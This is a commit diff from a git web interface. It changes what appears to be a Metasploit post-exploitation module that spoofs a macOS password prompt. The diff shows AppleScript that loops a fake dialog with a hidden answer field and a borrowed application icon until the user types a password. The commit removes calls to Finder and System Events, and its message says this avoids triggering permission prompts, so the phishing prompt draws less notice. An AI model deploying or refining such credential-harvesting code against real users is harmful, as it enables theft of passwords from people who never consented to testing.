Browse Source

don't interact with other apps to avoid asking permissions

Francesco Soncina 1 month ago
parent
commit
da820f08e6
No account linked to committer's email address
1 changed files with 4 additions and 8 deletions
  1. 4
    8
      modules/post/osx/gather/password_prompt_spoof.rb

+ 4
- 8
modules/post/osx/gather/password_prompt_spoof.rb View File

@@ -136,14 +136,10 @@ set myprompt to "#{textcreds}"
136 136
 set ans to "Cancel"
137 137
 repeat
138 138
   try
139
-    tell application "Finder"
140
-      activate
141
-      tell application "System Events" to keystroke "h" using {command down, option down}
142
-      set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"
143
-      set ans to button returned of d_returns
144
-      set mypass to text returned of d_returns
145
-      if ans is equal to "OK" and mypass is not equal to "" then exit repeat
146
-    end tell
139
+    set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"
140
+    set ans to button returned of d_returns
141
+    set mypass to text returned of d_returns
142
+    if ans is equal to "OK" and mypass is not equal to "" then exit repeat
147 143
   end try
148 144
 end repeat
149 145
 try

Loading…
Cancel
Save